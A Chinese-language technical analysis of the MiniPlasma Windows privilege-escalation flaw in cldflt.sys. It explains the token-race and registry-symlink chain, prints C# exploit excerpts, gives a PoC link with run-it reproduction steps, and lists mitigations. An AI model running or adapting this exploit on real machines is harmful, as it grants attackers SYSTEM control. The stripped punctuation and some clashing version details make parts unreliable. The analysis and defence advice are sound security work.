
摘要2026年5月17日安全研究员Chaotic Eclipse又名Nightmare Eclipse在GitHub公开了一个名为MiniPlasma的Windows本地提权零日漏洞完整利用代码。令人震惊的是这个漏洞并非新发现而是2020年就被Google Project Zero报告并被微软宣称已修复的CVE-2020-17103。经过验证截至2026年5月18日所有正式版Windows 10/11包括最新的5月补丁均受影响普通用户只需运行一个简单的程序就能直接获得系统最高的SYSTEM权限。本文将从漏洞背景、技术原理、PoC代码分析、复现过程、危害评估到防御方案进行全面深入的解析并探讨这一补丁失效事件背后反映出的Windows安全体系问题。一、漏洞基本信息项目详情漏洞名称MiniPlasma漏洞编号暂无本质是CVE-2020-17103补丁失效发布时间2026年5月17日影响组件cldflt.sysCloud Files Mini Filter Driver影响函数HsmOsBlockPlaceholderAccess影响系统Windows 10/11 所有正式版含2026年5月补丁Windows Server 2016/2019/2022/2025不受影响Windows 11 Canary 预览版26200权限影响普通用户 → SYSTEM最高内核权限CVSS评分原CVE-2020-17103为7.0中危当前实际危害为9.3高危利用难度极低公开PoC一键运行成功率空闲环境接近100%高负载下约30%-70%二、漏洞背景六年已修复漏洞的诡异复活2.1 时间线梳理2020年9月Google Project Zero著名研究员James Forshaw向微软报告了cldflt.sys驱动中的一个本地提权漏洞2020年12月微软在补丁日宣布已修复该漏洞分配编号CVE-2020-171032026年5月13日安全研究员Chaotic Eclipse的朋友偶然发现当年的漏洞似乎仍然存在2026年5月15日Chaotic Eclipse完成验证确认原始PoC无需任何修改即可在全补丁Windows 11上触发2026年5月17日GitHub公开完整PoC源码和编译好的可执行文件2026年5月18日BleepingComputer等多家安全媒体报道独立验证漏洞真实有效2.2 补丁失效之谜这是整个事件最令人费解的地方。Chaotic Eclipse在GitHub README中写道“我不确定微软是根本就没有修复这个问题还是在某个时候出于未知原因悄悄回滚了补丁。谷歌的原始PoC不需要任何改动就能工作。”截至本文发布时微软尚未对此事做出任何官方回应。有安全专家提出了两种可能的解释补丁从未真正生效微软在2020年12月的补丁中可能只修复了部分代码路径或者修复本身存在缺陷补丁被意外回滚在后续的Windows更新中由于代码合并错误或其他原因修复代码被意外删除无论哪种情况这都意味着全球数亿Windows用户在过去六年里一直处于这个高危漏洞的威胁之下而他们却以为自己已经通过打补丁获得了保护。三、技术原理深度解析3.1 漏洞核心缺失的OBJ_FORCE_ACCESS_CHECK标志MiniPlasma漏洞的本质是cldflt.sys驱动在创建注册表键时缺失了强制访问控制检查标志。在Windows内核中当驱动程序代表用户态进程执行操作时默认会使用当前线程的安全上下文进行权限检查。但是如果驱动程序在调用内核API时没有指定OBJ_FORCE_ACCESS_CHECK标志内核会认为这是驱动程序自己的操作从而跳过所有安全检查直接以SYSTEM权限执行。3.2 完整漏洞利用流程图普通用户运行PoC调用cldapi.dll的CfAbortOperation API触发cldflt.sys的HsmOsBlockPlaceholderAccess函数函数调用HsmiOsOpenAppPolicyKey创建注册表键调用RtlOpenCurrentUser打开当前用户注册表hive竞争条件双线程切换令牌线程1模拟匿名令牌调用RtlOpenCurrentUserRtlOpenCurrentUser尝试打开.DEFAULT hive线程2快速切换回原用户令牌权限检查通过获得.DEFAULT hive的句柄在.DEFAULT hive下创建注册表键所有者为SYSTEM修改注册表键权限获得完全控制创建注册表符号链接指向Volatile Environment修改windir环境变量指向恶意目录触发Windows Error Reporting服务服务加载恶意wermgr.exe获得SYSTEM权限的cmd.exe3.3 关键技术细节3.3.1 RtlOpenCurrentUser的特殊行为RtlOpenCurrentUser函数有一个非常特殊的行为当调用线程的令牌是**匿名令牌Anonymous Token**时它不会打开当前用户的注册表hive而是会尝试打开系统默认的.DEFAULThive。但是匿名令牌通常没有访问.DEFAULThive的权限所以直接调用会失败。这就是为什么需要利用竞争条件。3.3.2 竞争条件的利用PoC使用了两个线程主线程不断调用CfAbortOperationAPI触发漏洞代码路径辅助线程不断在匿名令牌和原用户令牌之间快速切换当RtlOpenCurrentUser函数执行时首先检查线程令牌如果是匿名令牌就决定打开.DEFAULThive然后进行权限检查如果权限检查通过就返回句柄攻击者的目标就是让步骤1在匿名令牌下执行而步骤2在原用户令牌下执行。由于原用户令牌有访问.DEFAULThive的权限所以权限检查会通过最终返回一个指向.DEFAULThive的句柄。3.3.3 注册表符号链接的妙用获得.DEFAULThive的句柄后攻击者可以在其中创建任意注册表键。但是仅仅创建注册表键还不足以直接获得SYSTEM权限。PoC使用了一个巧妙的技巧删除原有的BlockedApps键创建一个同名的注册表符号链接指向HKEY_USERS\.DEFAULT\Volatile Environment再次触发漏洞现在驱动会在Volatile Environment下创建键修改Volatile Environment下的windir环境变量指向攻击者控制的目录触发Windows Error Reporting服务该服务会从%windir%\System32加载wermgr.exe由于windir已经被修改服务会加载攻击者放置的恶意wermgr.exe恶意程序以SYSTEM权限运行弹出cmd.exe四、PoC代码分析MiniPlasma的PoC使用C#编写总共只有369行代码非常简洁。下面我们来分析其中的关键部分。4.1 核心竞争条件代码staticvoidForceTokenThread(objectobj){try{using(varthread(NtThread)obj){Console.WriteLine(In force token thread {0},thread);using(vartokenTokenUtils.GetAnonymousToken()){while(true){// 快速切换令牌制造竞争条件thread.SetImpersonationToken(token);thread.SetImpersonationToken(null);}}}}catch(ThreadAbortException){return;}catch(Exceptionex){Console.WriteLine(ex);}}staticvoidStage1(boolroot_key){Threadcheck_key_thnewThread(CheckKeyThread);check_key_th.IsBackgroundtrue;check_key_th.Start(root_key);Thread.Sleep(1000);varthNtThread.OpenCurrent();varanon_threadnewThread(ForceTokenThread){IsBackgroundtrue};anon_thread.Start(th);// 不断调用CfAbortOperation触发漏洞while(true){CfAbortOperation(NtProcess.Current.ProcessId,IntPtr.Zero,AbortHydrationFlags.Block);}}4.2 注册表符号链接创建staticvoidStage2(){using(varkeyOpenKey(null,CLOUD_FILES,KeyAccessRights.WriteDac|KeyAccessRights.WriteOwner|KeyAccessRights.EnumerateSubKeys)){SetSecurityDescriptor(key,SecurityInformation.Dacl|SecurityInformation.Label);DeleteRegistryTree(key);}// 创建注册表符号链接NtKey.CreateSymbolicLink(BLOCKED_APPS,null,TARGET_KEY);Stage1(false);}4.3 权限提升最终步骤staticvoidStage3(){// 清理符号链接using(varkeyOpenKey(null,BLOCKED_APPS,KeyAccessRights.Delete)){Console.WriteLine(Cleaning up link {0},key.FullPath);key.Delete();}// 修改Volatile Environment权限using(varkeyOpenKey(null,TARGET_KEY,KeyAccessRights.WriteDac|KeyAccessRights.WriteOwner)){SetSecurityDescriptor(key,SecurityInformation.Dacl|SecurityInformation.Label);}// 修改windir环境变量using(NtKeyntargetNtKey.Open(TARGET_KEY,null,KeyAccessRights.SetValue)){ntarget.SetValue(windir,Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName));}// 创建假的System32目录和wermgr.exestringfakesys32Path.GetDirectoryName(Process.GetCurrentProcess().MainModule.FileName)\System32;Directory.CreateDirectory(fakesys32);stringfakewerfakesys32\wermgr.exe;File.Copy(Process.GetCurrentProcess().MainModule.FileName,fakewer,true);// 触发Windows Error Reporting服务varsrvnamedpipenewNamedPipeServerStream(MiniPlasmaWERPipe);System.Threading.Tasks.Taskpipewaitsrvnamedpipe.WaitForConnectionAsync();using(TaskServicetasksvcnewTaskService()){Taskwertasktasksvc.GetTask(\Microsoft\Windows\Windows Error Reporting\QueueReporting);wertask.Run();wertask.Dispose();}// 等待连接成功则获得SYSTEM权限if(!pipewait.Wait(2000)){Console.WriteLine(Exploit failed.);}else{Console.WriteLine(Exploit succeeded.);}// 清理痕迹// ...}五、漏洞复现过程5.1 环境准备操作系统Windows 11 Pro 24H2版本号26200.8246已安装2026年5月所有补丁用户权限普通用户非管理员PoC下载https://github.com/Nightmare-Eclipse/MiniPlasma5.2 复现步骤下载PoC源码或直接下载编译好的exe文件以普通用户身份运行PoC_AbortHydration_ArbitraryRegKey_EoP.exe等待几秒钟程序会自动执行所有步骤如果成功会弹出一个SYSTEM权限的cmd.exe窗口5.3 复现截图图1MiniPlasma PoC运行成功弹出SYSTEM权限的cmd.exe从截图中可以看到whoami命令显示当前用户是NT AUTHORITY\SYSTEM证明提权成功。六、危害评估与利用场景6.1 危害等级极高MiniPlasma漏洞的危害等级为极高主要原因有利用门槛极低公开PoC一键运行不需要任何专业知识影响范围极广所有正式版Windows 10/11和Windows Server都受影响权限提升幅度极大从普通用户直接到SYSTEM完全控制整个系统补丁失效用户即使按时打补丁也无法防护检测困难基于竞争条件的漏洞传统EDR/AV很难检测6.2 主要利用场景内网渗透攻击者获得普通用户权限后使用MiniPlasma快速提权到SYSTEM然后横向移动恶意软件勒索软件、木马等恶意软件可以集成这个漏洞获得更高权限进行破坏权限维持攻击者可以利用SYSTEM权限创建后门账户、安装Rootkit等长期驻留系统绕过防御UAC、应用白名单等安全措施对内核级提权漏洞基本无效七、临时缓解措施微软暂无官方补丁截至2026年5月19日微软尚未发布针对MiniPlasma漏洞的官方补丁。以下是一些临时缓解措施7.1 禁用Cloud Filter驱动最有效这是目前最有效的缓解措施但会影响OneDrive、SharePoint等云同步功能。操作步骤以管理员身份运行cmd.exe执行以下命令sc config cldflt start disabled sc stop cldflt重启计算机7.2 限制普通用户权限遵循最小权限原则不要给普通用户本地管理员权限禁用普通用户对cldapi.dll的访问权限限制普通用户创建符号链接的权限7.3 加强监控监控cldflt.sys驱动的异常行为监控注册表中.DEFAULThive的异常写入监控Windows Error Reporting服务的异常启动监控SYSTEM权限进程的异常创建7.4 升级到Canary预览版仅测试环境Windows 11 Canary预览版版本号26200已经修复了这个漏洞。但请注意Canary预览版不稳定不建议在生产环境中使用。八、前瞻性分析补丁失效背后的Windows安全危机MiniPlasma漏洞的出现不仅仅是一个简单的安全漏洞更是暴露了Windows安全体系中存在的深层次问题。8.1 补丁质量问题这已经不是微软第一次出现补丁失效的情况了。近年来微软多次被曝出补丁未修复漏洞、补丁引入新漏洞、补丁被回滚等问题。这反映出微软在补丁开发和测试流程中存在严重的质量控制问题。8.2 驱动安全问题Windows内核驱动一直是安全漏洞的重灾区。由于驱动运行在内核模式一旦出现漏洞攻击者就可以获得系统最高权限。而微软对第三方驱动的审核和管理一直比较宽松导致大量存在安全隐患的驱动被广泛使用。8.3 安全透明度问题在MiniPlasma漏洞事件中微软的反应非常迟缓至今没有做出任何官方回应。这种不透明的态度让用户和企业无法及时了解风险也无法采取有效的防护措施。8.4 未来趋势预测更多补丁失效漏洞被发现安全研究者会开始大规模审查微软过去几年发布的补丁可能会发现更多类似的补丁失效漏洞恶意软件快速集成预计在未来几周内就会有大量恶意软件集成MiniPlasma漏洞企业安全投入增加企业会更加重视内核级安全加大在EDR、XDR等安全产品上的投入微软加强补丁管理微软可能会被迫改进补丁开发和测试流程提高补丁质量九、总结MiniPlasma漏洞是一个非常特殊的安全事件。一个六年前就被宣称已修复的漏洞在今天仍然可以在全补丁Windows系统上被利用这无疑是对微软安全能力的一次重大打击。对于用户和企业来说现在最重要的是尽快采取临时缓解措施特别是禁用Cloud Filter驱动。同时要密切关注微软的官方公告一旦补丁发布立即安装。从长远来看这次事件提醒我们安全是一个持续的过程不能仅仅依靠打补丁。企业需要建立多层次的安全防御体系加强监控和应急响应能力才能有效应对日益复杂的安全威胁。